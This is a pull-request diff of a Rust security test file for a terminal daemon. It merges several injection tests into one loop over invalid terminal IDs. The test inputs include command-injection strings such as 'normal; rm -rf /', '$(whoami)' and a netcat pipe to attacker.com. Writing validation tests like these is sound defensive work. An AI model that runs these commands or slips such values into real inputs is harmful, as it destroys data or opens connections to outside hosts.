Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
179 changes: 22 additions & 157 deletions loom-daemon/tests/integration_security.rs
Original file line number Diff line number Diff line change
Expand Up @@ -30,156 +30,6 @@ fn setup() {
cleanup_all_loom_sessions();
}

/// Security Test 1: Reject terminal ID with shell injection characters (semicolon)
#[tokio::test]
#[serial]
async fn test_reject_injection_semicolon() {
setup();

let daemon = TestDaemon::start().await.expect("Failed to start daemon");
let mut client = TestClient::connect(daemon.socket_path())
.await
.expect("Failed to connect");

// Attempt to create terminal with malicious ID containing semicolon
let malicious_id = "normal; rm -rf /";
let result = client.create_terminal(malicious_id, None).await;

// Should fail with validation error
assert!(result.is_err(), "Terminal creation with semicolon should be rejected");

// Cleanup
cleanup_all_loom_sessions();
}

/// Security Test 2: Reject terminal ID with command substitution
#[tokio::test]
#[serial]
async fn test_reject_injection_command_substitution() {
setup();

let daemon = TestDaemon::start().await.expect("Failed to start daemon");
let mut client = TestClient::connect(daemon.socket_path())
.await
.expect("Failed to connect");

// Attempt with $() command substitution
let malicious_id = "$(whoami)";
let result = client.create_terminal(malicious_id, None).await;

assert!(
result.is_err(),
"Terminal creation with command substitution should be rejected"
);

// Cleanup
cleanup_all_loom_sessions();
}

/// Security Test 3: Reject terminal ID with pipe character
#[tokio::test]
#[serial]
async fn test_reject_injection_pipe() {
setup();

let daemon = TestDaemon::start().await.expect("Failed to start daemon");
let mut client = TestClient::connect(daemon.socket_path())
.await
.expect("Failed to connect");

// Attempt with pipe
let malicious_id = "terminal|nc attacker.com 1337";
let result = client.create_terminal(malicious_id, None).await;

assert!(result.is_err(), "Terminal creation with pipe should be rejected");

// Cleanup
cleanup_all_loom_sessions();
}

/// Security Test 4: Reject terminal ID with backticks
#[tokio::test]
#[serial]
async fn test_reject_injection_backticks() {
setup();

let daemon = TestDaemon::start().await.expect("Failed to start daemon");
let mut client = TestClient::connect(daemon.socket_path())
.await
.expect("Failed to connect");

// Attempt with backtick command substitution
let malicious_id = "`whoami`";
let result = client.create_terminal(malicious_id, None).await;

assert!(result.is_err(), "Terminal creation with backticks should be rejected");

// Cleanup
cleanup_all_loom_sessions();
}

/// Security Test 5: Reject terminal ID with ampersand (background execution)
#[tokio::test]
#[serial]
async fn test_reject_injection_ampersand() {
setup();

let daemon = TestDaemon::start().await.expect("Failed to start daemon");
let mut client = TestClient::connect(daemon.socket_path())
.await
.expect("Failed to connect");

// Attempt with ampersand
let malicious_id = "terminal & evil-command";
let result = client.create_terminal(malicious_id, None).await;

assert!(result.is_err(), "Terminal creation with ampersand should be rejected");

// Cleanup
cleanup_all_loom_sessions();
}

/// Security Test 6: Reject terminal ID with newline
#[tokio::test]
#[serial]
async fn test_reject_injection_newline() {
setup();

let daemon = TestDaemon::start().await.expect("Failed to start daemon");
let mut client = TestClient::connect(daemon.socket_path())
.await
.expect("Failed to connect");

// Attempt with newline injection
let malicious_id = "terminal\nrm -rf /";
let result = client.create_terminal(malicious_id, None).await;

assert!(result.is_err(), "Terminal creation with newline should be rejected");

// Cleanup
cleanup_all_loom_sessions();
}

/// Security Test 7: Reject empty terminal ID
#[tokio::test]
#[serial]
async fn test_reject_empty_id() {
setup();

let daemon = TestDaemon::start().await.expect("Failed to start daemon");
let mut client = TestClient::connect(daemon.socket_path())
.await
.expect("Failed to connect");

// Attempt with empty ID
let result = client.create_terminal("", None).await;

assert!(result.is_err(), "Empty terminal ID should be rejected");

// Cleanup
cleanup_all_loom_sessions();
}

/// Security Test 8: Accept valid terminal IDs with allowed characters
#[tokio::test]
#[serial]
Expand Down Expand Up @@ -211,10 +61,10 @@ async fn test_accept_valid_ids() {
cleanup_all_loom_sessions();
}

/// Security Test 9: Reject terminal ID with special shell characters
/// Reject invalid terminal IDs without losing the daemon connection.
#[tokio::test]
#[serial]
async fn test_reject_various_shell_chars() {
async fn test_reject_invalid_terminal_ids() {
setup();

let daemon = TestDaemon::start().await.expect("Failed to start daemon");
Expand All @@ -223,7 +73,7 @@ async fn test_reject_various_shell_chars() {
.expect("Failed to connect");

// Test various problematic characters
let malicious_chars = vec![
let invalid_ids = [
"terminal>file",
"terminal<file",
"terminal*",
Expand All @@ -237,13 +87,28 @@ async fn test_reject_various_shell_chars() {
"terminal.test", // dots are commonly used in identifiers, but not allowed here
"terminal@test", // @ is also risky
"terminal#test", // # starts comments in shells
"normal; rm -rf /",
"$(whoami)",
"terminal|nc attacker.com 1337",
"`whoami`",
"terminal & evil-command",
"terminal\nrm -rf /",
"",
];

for malicious_id in malicious_chars {
let result = client.create_terminal(malicious_id, None).await;
for id in invalid_ids {
let error = match client.create_terminal(id, None).await {
Err(error) => error,
Ok(_) => panic!("the daemon accepted {id:?} as a terminal ID"),
};
let expected_message = if id.is_empty() {
"Terminal ID cannot be empty"
} else {
"Invalid terminal ID:"
};
assert!(
result.is_err(),
"Terminal ID with special character '{malicious_id}' should be rejected"
error.to_string().contains(expected_message),
"expected terminal ID validation for {id:?}, got {error:#}"
);
}

Expand Down
Loading